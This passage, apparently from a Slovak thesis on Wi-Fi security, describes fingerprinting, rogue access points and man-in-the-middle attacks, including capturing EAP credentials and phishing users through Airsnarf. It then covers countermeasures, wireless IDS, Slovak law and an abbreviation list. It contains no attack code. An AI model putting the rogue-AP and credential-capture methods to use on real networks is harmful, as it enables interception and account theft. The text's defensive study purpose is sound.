
moze takéto utoky odhalit’ a urobit’ potrebné opatrenia (viac v 9.4).

7.2 Vzdialeny fingerprinting

Standard IEEE 802.11 je zlozity, a vel'a spdsobov, ako ho implementovat. Rozne
ovladace sietovych kariet pod roznymi operaénymi systémami pouzivaji odliSitelné
spOsoby posielania dat — pozorovat' sa da najmd Statisticky vyskyt hodnot v poli
Duration pre jednotlivé druhy radmcov, Cas vyslania ramca atd’. Spolu s MAC adresou,

ktora je vysielana v hlavicke ako plaintext, sa da pasivnym monitorovanim Casto zistit”:

e vyrobca sietovej karty, model,

e pouzity operacny systém, verzia ovladaca.

Techniky vzdialeného fingerprintingu (odtlackovania) st popisané v [19].
Pomocou takto ziskanych informacii si utocnik moze urobit’ obraz o topologii siete, do
ktorej sa chce vlamat, alebo pouzit’ nejaky utok na konkrétne zariadenie, o ktorom vie,

ze je nachylné (ako uz bolo popisané vyssie v 7.1.2).
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8. Man-in-the-middle

Utok ,,muza v strede” je mozné pouzit’ vo vieobecnosti vzdy, ked’ si niektord z
komunikujicich stran nema moznost’ overit’ autenticitu tej druhej. Typicky priklad je
autentifikacia STA voci AP, pricom AP svoju autenticitu nijak nepreukaze.

Man-in-the-middle na druhej vrstve je najnebezpecnejsim utokom na bezdrdtovi
siet’, pretoze je mozné zneuzit protokoly vySSej vrstvy, ato aj tie ,bezpecné®, ako
napriklad SSL. Ziskavanie osobnych udajov, hesiel, modifikdcia prevadzky, si mozné

aj cez Sifrované spojenie (na druhej aj tretej vrstve).

8.1 Falosne AP

Jednoduchy spdsob, akym zapocat’ man-in-the-middle ttok, je poskytnutie
falosného (,,rogue) AP v dosahu stanice, obvykle na inom kanali. Aby stanica pouzila
toto podstréené AP namiesto povodného ,,pravého*, je mozné:

e pouzit rovnaké SSID — pouzitie iného SSID je tiez mozné, ak je klient
nakonfigurovany na pripojenie sa do l'ubovol'nej dostupne;j siete;

e pouzit’ sietovi kartu (alebo AP) svelkym vykonom, resp. smerovou
anténou — aby bolo stanicou, ktorti chceme napadniit’, preferované;

e urobit’ DoS na stanicu (pomocou druhej sietovej karty) — v snahe donutit’
ju vyhl'adévat’ nové AP (vid’. 6.4 Deautentifikacia);

e urobit’ DoS na pravé AP alebo kanal, v ktorom pracuje (pomocou druhej
sietovej karty) — donutime tak stanice pripojit’ sa d’alSie dostupné AP, Cize

to falosné — vid'. cela 6. kapitola Zamietnutie sluzby (DoS).

Falosné AP st hrozbou aj v prostredi velkej firmy, kde napr. nezodpovedny
zamestnanec nechal do siete pripojené AP, ktoré sluzi ako ,,zadné dvierka™ do (inak

dobre zabezpecene;j) siete.

8.1.1 Realizacia falo§ného AP

Mobzeme pouzit obycajné hardvérové AP, ktoré nakonfigurujeme pre pouzitie
SSID (a pripadne Sifrovacieho klIi¢a, ak sa ho podarilo zistit’) identického s pravym.
Lepsiu kontrolu nad utokom mame s pouzitim Host-AP, ¢o je funkcionalita AP
zabudovana v ovladacoch sietovej karty. Ovladace zariadeni pouzitych pre tuto pracu

nemali funkénmi podporu Host-AP, preto nebolo mozné tento utok prakticky odskusat’;
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hrozba je vSak prava, existuje viacero proof-of-concept programov demonstrujicich
wireless man-in-the-middle utoky.
Utok je moZné uspesne vykonat, ak je WLAN
e nezabezpecena;
e zabezpecena pomocou WEP (kI'a¢ zistime 'ahkom vid'. 4. kapitola);
e zabezpecena pomocou PSK (WPA/WPA2) ak sa podarilo zistit’ kI'a¢ (vid'.
5.2 Slovnikovy utok na PSK);
e zabezpecend pomocou LEAP (WPA/WPA2) ak sa podarilo zistit' kIa¢
(vid’. 5.3 Slovnikovy utok na LEAP);
e zabezpecena pomocou EAP (WPA/WPA2) snedostato¢nou uroviou
bezpecnosti, napr. EAP-MDS5, EAP-TTLS-PAP, EAP-TTLS-MSCHAP.
Néroc¢nost’ ttoku zavisi od konkrétneho typu EAP.

Utoky vo¢i EAP-TLS a EAP-TTLS spoéivaji v poslani vlastného (falogného)
certifikatu zo strany AP, ak ho klient nie je schopny ho overit. Pri EAP-TTLS-PAP ndm
klient cez ,bezpecny“ tunel (na konci ktorého je nase falosné AP) prezradi svoje
identifikacné udaje ako plaintext. Pri MSCHAP a MDS5 podtypoch treba na ich zistenie
urobit’ vypocet. Tieto mdzeme potom zneuzit na autentifikdciu do ,pravej” siete —
nazyva sa aj ukradnutie identity (identity theft).

Na zneuzitie faloSnej ,linky“ moZzeme pouzit napriklad Airsnarf

(http://airsnarf.shmoo.con/), ktory zjednodusi Gtok na vysSie protokoly — presmeruje

DNS poziadavky na lokalny server a nastavi lokalny web server. Pouzivatel potom
moze nevedomky zadat’ tajné prihlasovacie tidaje napriklad do banky apod. na falosnu

web stranku.

8.1.2 Ochrana vodéi falo§nym AP

Jednou z moznosti, ako sa vyhnit' asociovaniu sa klientov na falosné AP, je
obmedzenie na konkrétnu MAC adresu, na ktori sa bude stanica asociovat. V OS
Windows tato funkciu obsahuji niektoré ovladace. V GNU/Linux je toto mozné

pomocou parametra ap prikazu iwconfig:

# iwconfig ra0 ap 00:11:3b:07:00:14
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Preferovanym spdsobom je pouzitie silného Sifrovania a vzajomnej autentifikacie
— v korporatnom prostredi to nemdze byt pomocou PSK (poznaji ho vsetky stanice,
vzajomné odpocuvanie/man-in-the-middle). Pri TLS je doélezité, aby klient vedel overit
autenticitu AP — je potrebné mat’ vybudovani PKI (Public Key Infrastructure, infrastruktira

verejnych kl'acov).

8.2 Modifikacia ramcov vo vzduchu (teoreticke)

Nezabezpecené data, alebo data zabezpeCené nedostatoénym WEP, je teoreticky
mozné modifikovat’ v ¢ase, kedy su vysielané vo vzduchu — zmenit’ niektoré bity na
opacéné a upravit’ FCS (v pripade WEP aj ICV) na prislichajuce hodnoty.

Vyzadovalo by to vSak Specidlny hardvér apresné nacasovanie. Prakticka

implementacia nie je znama.

8.3 Mazanie ramcov (teoretické)

V 6.8 bolo uvedené mazanie ramcov ako teoreticky mozna technika pre DoS.
Tato myslienku je mozné rozsirit na man-in-the-middle tutok. Prebiehajuci ramec
odchytime a poskodime FCS (alebo Cast’ dat, ktoru pozname, napr. MAC adresy) tak, ze
adresat ramec pre nespravne FCS zahodi. Odosielatel'ovi posleme ACK (vyzadované
v predpisanom intervale), aby si myslel, Ze ramec bol doruceny vporiadku. Nasledne
adresatovi posleme vlastny rdmec, na ktory odpovie pomocou ACK (povodnému
odosielatel'ovi) — povodny odosielatel’ ACK neocakéva a tak ho jednoducho ignoruje.

Tento utok by kvoli pomalému prepinaniu RX/TX (prijimania a vysielania)
zrejme vyzadoval dve Speciadlne sietové karty. Jednu na odchytenie rdmca a rychlu
informaciu vy$Sej vrstve pre spravne casovanie, druhi na vysielanie — ruSenie

prebiehajuceho ramca v pozadovanom ¢ase. Nie je zndma praktickd implementacia.
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9. Doplnkova ochrana

Standard IEEE 802.11i, pri spravnej implementacii a konfiguracii zariadeni,
poskytuje dostatocnu ochranu MAC vrstvy, na ktorej bezdrotové siete zalozené na IEEE
802.11 pracuju. Najmi u vicsich sietach je vSak dobré implementovat’ aj d’alSie druhy

ochrany bezdrotovej Casti.

9.1 Umiestnenie

Pred utokmi na fyzickej vrstve je mozné bezdrotovu siet’ chranit’ umiestnenim.
Smerové antény medzi strechami vyskovych budov alebo WLAN vo vnutri
zelezobetonovej budovy vyrazne znizuji riziko DoS utokov, alebo tokov na siet’ a jej
zabezpeCenie vsSeobecne. V ziadnom pripade sa vSak nesmie ochrana umiestnenim
pouzivat ako jediny druh zabezpecenia, odhodlany utocnik totiz moéze disponovat

citlivou a/alebo vykonnou sietovou kartou a anténou s vel'kym ziskom.

9.2 Miitenie utocnika
Na zmiétenie pripadného to¢nika je mozné podla hesla ,,ak jeden access point je
dobry, 53000 musi byt lepsie* pouzit’ program FakeAP, program generujici mnozstvo

nepravych AP (http://www.blackalchemy.to:8060/project/fakeap/). Pomocou tisicov

Beacon ramcov tak zahlti Gto¢nikovi monitorovacie programy a moze byt preitho
problém spomedzi mnozstva zistit’, ktora siet’ je ta prava.

Alternativami mézu byt skutocné AP, pripojené do oddelenej siete urcenej na
,chytanie® uto¢nikov.

Tento spdsob ochrany je iba doplnkovy a rozhodne nie je dobré implementovat’

ho ako jediné zabezpecenie siete.

9.3 Bezpecné protokoly a VPN

Pouzivanie vysSich protokolov, povazovanych za bezpecné, je odporicané na
kazdej sieti. Pre bezdrotové siete to plati obzvlast — ak utoc¢nik prelomi ochranu
poskytovani  WLAN sietou na druhej vrstve, bude musiet’ prelomit’ este dalSiu

ochranu, aby dosiahol zaumieneného ciel’a.
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Medzi protokoly, ktoré je mozné pouzit na dalSie zabezpeCenie komunikacie
WLAN stanice s ,,drotovou’ LAN, patria najma:
o Secure Shell (SSH) — (bezpetny prikazovy riadok) pre pouzitie aplika¢nych
serverov a tunely;
o Secure Socket Layer (SSL) — (bezpetna zasuvkova vrstva) pre pristup na web
a tunely;
e [Psec —na zabezpecenie vsetkej komunikacie, na tretej vrstve;

e VPN — na zabezpecenie vSetkej komunikacie, na druhej vrstve.

Nie kazdd implementidcia VPN (Virtual Private Network, virtudlna privitna siet) je
dostato¢ne robustna — napriklad PPTP siete su kvoli MSCHAPv2 rovnako ako LEAP
nachylné na zneuzitie (vid. 5.3 Slovnikovy utok na LEAP). Odporacané je pouzivat
také VPN, ktoré pouzivaju silné Sifrovanie a autentifikaciu zalozené na PKI (Public Key
Infrastructure, infrastruktara verejnych kl'acov).

Kvoli nachylnosti bezdrotovej siete na man-in-the-middle utoky je vSak treba
obzlast’ davat’ pozor na spdsoby autentifikicie a Sifrovania. Nielen server musi mat’
moznost’ overit’ autenticitu klienta, ale aj naopak — treba mat’ na klientoch nainstalované
certifikdty pouzivanych serverov. Pouzivatelia by mali byt riadne pouceni

a neodklikavat’ kazdé varovné hlasenie tlac¢itkom ,,Yes®.

9.4 Wireless IDS

Intrusion Detection System — systém na detekciu prienikov, by nemal chybat’ na
ziadnej sieti, ktorej bezpecnost’ nie je administratorovi 'ahostajna. IDS urcené Specialne
pre WLAN sa nazyvaji WIDS (Wireless IDS). IDS dokazu spozorovat’ konkrétne druhy
utokov, neobvyklu prevadzku na sieti, spotvorené ramce a aj DoS ttoky, a urobit’ na

zaklade toho opatrenia:

e notifikacia administratora,

e odfiltrovanie komunikacie prichadzajucej od identifikovaného utoc¢nika,
e vypnutie citlivych sluzieb,

e odrezanie* napadnutej stanice od citlivych sluzieb,

e odrezanie* napadnutého segmentu od zvysku siete.
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Wireless IDS ma dva hlavné komponenty — hardvér sliziaci na monitorovanie
radiového kandla, a softvér, ktory spraciva a vyhodnocuje =ziskané informacie
a vykonava potrebné opatrenia. Hardvér moze byt Specialne navrhnuty na ucely IDS (u

komer¢nych rieSeni) alebo moze byt’ pouzité bezné WLAN zariadenie.

9.4.1 Komeréné WIDS

Medzi komerc¢ne dostupné Wireless IDS patria:

e AirDefense Guard — hardvérové rieSenie, http://www.airdefense.net

e AirMagnet — sada soft. aj hardvérovych nastrojov, http://www.gss.co.uk

o Isomair Wireless Sentry — hardvérové riesenie, http://www.isomair.com

e RFprotect — hardvérové rieSenie, http://www.networkchemistry.com

WiSentry — softvérové rieSenie, http://www.wimetrics.com

9.4.2 Open-source WIDS

Zname open-source Wireless IDS st:

e WIDZ — autor Loud Fat Bloke, http://www.loud-fat-bloke.co.uk/

e Snort-Wireless — autor Andrew Lockhart, http://www.snort-wireless.org/

e Hot Spot Defense Kit (HotSpotDK) — urCeny pre osobné pouzitie

(notebook apod.), http://airsnarf.shmoo.com
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10. Legislativa

Prevadzka zariadeni IEEE 802.11, b, g vpasme 2400 — 2483,5 MHz sa
v Slovenskej republike riadi na zdklade vseobecného povolenia RLAN (radiova LAN)
VPR-01/2001, vyhlaseného Telekomunikaénym tradom (TU) 30. oktobra 2001,
zmeneného 20. decembra 2005 (doplnené o ohlasovaciu povinnost pre externé antény
a zariadenia na strechach a fasddach budov). Problematiku vymedzuje zakon C¢.
610/2003 Z.z. o elektronickych komunikéciach.

Podla vSeobecného povolenia musi byt dodrzany maximéalny ekvivalentny
izotropicky vyziareny vykon 100 mW a zariadenie musi splitat podmienky ETSI
(European Telecommunications Standards Institute, Eurépsky intitat pre telekomunikaéné dtandardy) a
mat’ vyhlasenie o zhode.Pri nedodrzani moéze TU udelit’ pokutu, jej vyska byva radovo
od 10 tisic Sk (maximalne do 3 mil. Sk podla §71 ods. 3 pism. e), podla zavaznosti
poruSenia povolenia, ochoty prevadzkovatel'a situiciu riesit, atd. TU najprv na
nedodrzanie podmienok upozorni a pripadné sankcie udeli az po stanovenej lehote
(jeden mesiac). Pravo vykonat kontrolu ma len TU ajediny relevantny podklad pre
d’alsie pripadné konanie st jeho zistenia - utocnik musi byt’ prichyteny pri ¢ine. Merania
vykonavaji bud’ priamo na ruSiacom =zariadeni, alebo zo vzdialenosti pomocou
spektralneho analyzétora.

KedZe u 2,4 GHz sa jedna o vol'né pasmo, ktoré nie je chranené, musi sa pripadné
vzajomné rusenie zariadeni v tomto pasme riesit’ vzajomnou dohodou. Vo vyhode byva
obvykle ten, kto siet' v danej lokalite prevadzkuje skor, o sa zisti podla datumu
ohlasenia (ohlasovacia povinnost). Narusanie bezpecnostnych protokolov WLAN nie je
podla §25 porusenim zakona, ak sa zariadenie upravené na tento ucel nepouziva na

komer¢né ucely.

Podrla trestného zékona ¢. 300/2005 Z.z. sa uvazuju Skody na majetku aj pravach
poskodeného, ako aj usly zisk, kraddez veci (aj nehmotné informécie a data). Pri
pocitacovej kriminalite, obzvlast pouzitim bezdrotovych sieti, je problematické
dokazovanie. V ramci vySetrovania moze byt pachatel vzany do vdzby a moze byt

odobrata vec.
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11. Zhrnutie

Bolo ukazané, ze pouzitie WEP ako zabezpecenia IEEE 802.11 siete je
nevyhovujuce. Podarilo sa Gspesne zrealizovat’ viaceré druhy utokov na WEP, z ktorych
najvyznamnejsi je Kleinov ttok, umoznujuci prienik do jednej az troch minit, pri
horsich prenosovych podmienkach do cca piatich mintt.

Bolo ukézané, ze pouzitic WPA alebo WPA2 s predzdielanym kIaicom (PSK)
moze byt v prostredi, v ktorom Skodenie si jednotlivych pouzivatelov navzijom nie je
dolezitym problémom (domacnosti a malé firmy), dostato¢ne bezpecnym, ak sa pouzije
kvalitné¢ (dIhé a neslovnikové) heslo. Bol tiez realizovany utok na WPA/WPA2
v pripade nepostacujuceho hesla.

Boli navrhnuté utoky na WPA/WPA2 s autentifikiciou pomocou IEEE
802.1x/EAP, mozné pre niektoré typy EAP. Pre nedostatocné vybavenie neboli
realizované, ich praktickd realizicia je vSak znama. Najva¢Sou hrozbou pre tieto siete su
utoky muza v strede, pomocou ktorych sa dajii obist’ aj bezpecné protokoly, ak nie st
dobre nakonfigurované pre vzajomné overovanie autenticity.

Boli popisané a realizované rozne zname Utoky zamerané na zamietnutie sluzby
(DoS), atiez navrhnuty aimplementovany DoS 1utok pomocou Clear-To-Send
riadiacich ramcov, ktorého implementacia doteraz zndma nebola. Jednoducha
realizovatelnost’ a slaba postihnutelnost” DoS utokov naznacuje nevhodnost’ pouzivania
sieti IEEE 802.11 tam, kde je dolezita dostupnost’ — napriklad on-line sluzby, pristupové

siete firiem, ktoré ku svojmu chodu potrebuji internet.

Mnohé spdsoby zabezpecenia su prelomite'né a boli v tejto praci prelomené.
Napriek tomu je viak lepsie pouzivat slaby spdsob ochrany siete, ako Ziadny. Cim viac
nekonfliktnych bezpecnostnych opatreni na sieti implementujeme, tym vacSiu ndmahu
bude musiet’ pripadny Gto¢nik vynalozit'.

V prostredi domécnosti je dobré pouzivat WPA2 (AES) s PSK (nutne ale so
silnym heslom), pripadne nastavenie pomocou nového Wi-Fi Protected Setup, ktory by
mal priniest’ vyrazné zlepSenie bezpecnosti pre laickych pouzivatel'ov.

Vo firemnom prostredi je odporucané pouzivat WPA2 (AES) s autentifikdciou
pomocou EAP-TLS alebo EAP-TTLS, avsak s certifikitmi overovacieho servera riadne
nainStalovanymi na kazdej stanici, aso zamestnancami poucenymi o bezpecnosti.

Odporucané je tiez pouzit’ systém na detekciu prienikov (IDS).
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ACK
ad-hoc
AES
AP
ARP
ASCII

BSS

BSSID
CCA
CCM

CCMP
CRC
CSMA/CA

CTS

CVS

DES
DHCP

DoS

DS
DSSS

EAP
EAPOL

ESS

ESSID

Pouzité skratky

Acknowledgement, potvrdzovaci riadiaci rAmec

,harychlo®, , prilezitostnd®, bezdrotova siet’ bez AP

Advanced Encryption Standard, roz$ireny Sifrovaci Standard

Access Point, pristupovy bod siete WLAN, ktory ju ¢asto spdja s LAN
Address Resolution Protocol, protokol na zist’ovanie adries

American Standard Code for Information Interchange, Standardny sposob
kodovania pismen, €islic a inych znakov

Basic Service Set, zakladna sada sluzieb, mnozina stanic vIEEE 802.11
koordinovana spolocne

Basic Service Set Identifier, identifikator BSS, obvykle MAC adresa AP
Clear Channel Assessment, odhad vol'ného kanala, funkcia fyzickej vrstvy

Counter-Mode/Cipher Block Chaining-Message Authentication Code,
pocitadlovy modd s autentifikdciou spravy retazenim blokov Sifier,
publikovany ako NIST SP800-38C [5]

CCM Protocol, skratka zamienana s CCM
Cyclic Redundancy Code, cyklicky kéd uréeny na detekciu chyb

Carrier Sense with Multiple Access/Collision Avoidance — pristup na
médium s detekciou signalu, viacnasobnym pristupom a predchadzanim
kolizii

Clear To Send, povolenie vyslania, kontrolny rdmec

Concurrent Version System, open-source systém na spravu verzii
programov

Data Encryption Standard, blokova Sifra

Dynamic Host Configuration Protocol, protokol na dynamickt konfiguraciu
ucastnikov siete

Denial of Service, zamietnutie sluzby, druh Utoku, ktory vyradzuje softvér,
zariadenie alebo siet’ z prevadzky

Distribution System, distribu¢ny systém
Direct Sequence Spread Spectrum, moduldcia rozprestrenym spektrom
s priamou sekvenciou

Extensible Authentication Protocol, rozsiriteI'ny autentifikacny protokol

Extensible Authentication Protocol over LAN, rozSiritelny autentifikacny
protokol cez lokalnu siet’

Extended Service Set, rozSirend sada sluzieb, mnozina jednej alebo
viacerych spolocne prepojenych BSS, ktord sa LLC podvrstve javi ako
jedna BSS

identifikator ESS, skratka pouzivana namiesto SSID
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ETSI

FCS

FMS

FPGA
GNU
GTK
HMAC

Host-AP
IBSS
ICMP

ICV

IDS
IEEE
IP

v
KSA
LAN

LEAP
LLC

MAC

MAN

MIC

MTU

NAV

NDIS

European Telecommunications Standards Institute, Eurdpsky institat pre
telekomunikaené Standardy

Frame Check Sequence, kontrolnd hodnota rédmca, vypocitavana pri
vysielani a prijimani ramca

Fluhrer-Mantin-Shamir, utok na WEP publikovany v [11], pomenovany po
autoroch

Field-programmable gate array, programovatel'né hradlové pole

GNU is Not Unix, GNU Nie je Unix

Group Transient Key, prechodny skupinovy kl'a¢

Hash Message Authentication Code, autentifikacny kod spravy pouzitim
hashu

Host Access Point, pristupovy bod na pocitaci
Independent BSS, nezavisla, ,,ad-hoc* siet’ (bez AP)

Internet Control Message Protocol, protokol pre riadiace spravy na internete
— chybové, testovacie a informacné spravy v IP

Integrity Check Value, kontrolny sucet dat pouzity pri Sifrovani pomocou
WEP

Intrusion Detection System, systém na detekciu prienikov

Institute of Electrical and Electronics Engineers, Inc.

Internet Protocol, prokotol pouZzivany v internete

Initialization Vector, inicializacny vektor, tvoriaci Cast’ kl'a¢a pre PRNG
Key Scheduling Algorithm, algoritmus na rozvrhnutie kl'i¢a, 1. fdza RC4

Local Area Network, lokdlna pocitatova siet, obvykle s pevnym
prenosovym médiom

Lightweight EAP, odl'ah¢eny EAP, vyvinuty firmou Cisco

Logical Link Control, riadenie logickej linky, vySSia podvrstva linkovej
vrtvy referenéného modelu OSI

Medium Access Control, riadenie pristupu na médium, nizSia podvrstva
linkovej vrstvy referenéného modelu OSI

Metropolitan Area Network, pocitacova siet’ v mestskom rozsahu

Message Integrity Code, integritny kod spravy, skratka pouzivand v IEEE
802.11 namiesto Message Authentication Code kvoli moznosti pomylenia
s Medium Access Control

Maximum Transmission Unit, maximalna posielate'na vel'kost’ jednotky

Network Allocation Vector, vektor alokacia siete, Casovac, ktory je na
stanici nastaveny, v ¢ase kedy nesmie vysielat’

Network Driver Interface Specification, Specifikdcia pre ovladace sietovych
rozhrani, pouzivana hlavne vo Windows
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NIST

NT
OFDM

OS
OSI

PAP

pcap
PCI
PCMCIA

PKI
PLME
PMK
PN
PoC
PPTP

PRGA

PRNG

PSK

PTR
RADIUS

RFMON
RM OSI
RSN

RSNA

RTS
RX
SHA

National Institute of Standards and Technology, vladna organizdcia USA
schval’'ujica niektoré Standardy

oznacenie z Windows NT od Microsoft

Orthogonal Frequency Division Multiplex, multiplex s ortogondlnym
delenim frekvencii

Operating System, operacny systém

Open Systems Interconnection, 7-vrstvovy referencny model siet'ovej
operacie

Password Authentication Protocol, protokol na autentifikaciu pomocou
otvoren¢ho mena a hesla

packet capture, subor s paketmi zachytenymi pomocou kniznice 1ibpcap
Peripheral Component Interconnect, rozhranie na pripajanie periférii

Personal Computer Memory Card International Association, Standard pre
pocitacové periférie velkosti priblizne kreditnej karty

Public Key Infrastructure, infrastruktura verejnych kl'acov

Physical Layer Management Entity, entity na manazment fyzickej vrstvy
Pairwise Master Key, hlavny parovy kl'a¢

Packet Number, Cislo paketu, v rdmci jedného sedenia sa nesmie opakovat’
proof-of-concept, dokaz konceptu

Point-to-Point Tunneling Protocol, protokol na tunel medzi dvoma bodmi,
pouzivany aj vo VPN

Pseudo-Random  Generation  Algorithm,  algoritmus  generovania
pseudonahodnej postupnosti, byva zamienané¢ s PRNG

Pseudo-Random Number Generator, generator pseudondhodnej postupnosti
Cisel, byva zamieniané¢ s PRGA

Pre-Shared Key, predzdielany tajny kI'i¢ pouzivany v menej bezpecnej
,,Personal® verzii WPA a WPA2

Pairwise Transient Key, prechodny parovy kl'a¢

Remote Authentication Dial In User Service, protokol na autentifikaciu
pouzivatel'ov, popisany v RFC 2138

Radio Frequency Monitor, reZim monitorovania radiovych frekvencii
referencny model OSI (Open System Interconnect)

Robust Security Network, siet’ s robustnou bezpecnostou (podl'a IEEE
802.111)

Robust Security Network Association, asociacia RSN (byva zamienané s
RSN)

Request To Send, poziadavka na vyslanie, kontrolny rdmec
Receive, prijimanie

Secure Hash Algorithm, bezpe¢ny hashovaci algoritmus
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SNAP

SSID

STA
TCP
TK
TKIP

TSC
TU
TX
UDP
USB
VPN
VPU
WEP
WIDS

Wi-Fi

WLAN
WPA

WPS
XOR

Sub-Network Access Protocol, €asto pouzivany v LLC na ur€enie typu
vnoreného protokolu na 3. vrstve

Service Set Identifier, identifikator sady sluzieb, t.j. identifikitor WLAN
siete

Station, stanica vo WLAN sieti
Transmission Control Protocol, protokol pre riadenie vysielania
Temporal Key, do¢asny kI'ai¢

Temporary Key Integrity Protocol, protokol s integritou doCasnych kl'i¢ov,
protokol zabezpecujici vymenu Sifrovacich kl'a¢ov vo WPA

TKIP Sequence Counter, sekvencné pocitadlo pre TKIP

Telekomunikaény urad Slovenskej republiky

Transmit, vysielanie

User Datagram Protokol, protokol pre pouZzivatel'ské datagramy

Universal Serial Bus, typ externého pocitacového rozhrania

Virtual Private Network, virtualna privatna siet’

Vector Processing Unit, vektorova procesna jednotka, vypoctovo vykonna
Wireless Equivalent Privacy, povodny protokol zabezpecujuci IEEE 802.11

Wireless Intrusion Detection System, systém na detekciu prienikov na
bezdrotovej sieti

skratka z Wireless Fidelity, aliancia spoloc¢nosti vyrabajucich WLAN
prostriedky

Wireless Local Area Network, bezdrotova lokalna pocitacova siet

Wi-Fi Protected Access, zabezpeceny pristup Wi-Fi, protokol zabezpecujuci
IEEE 802.11 z roku 2003

Wi-Fi Protected Setup, zabezpecené nastavenie Wi-Fi

exclusive OR, vylu€ujuce alebo
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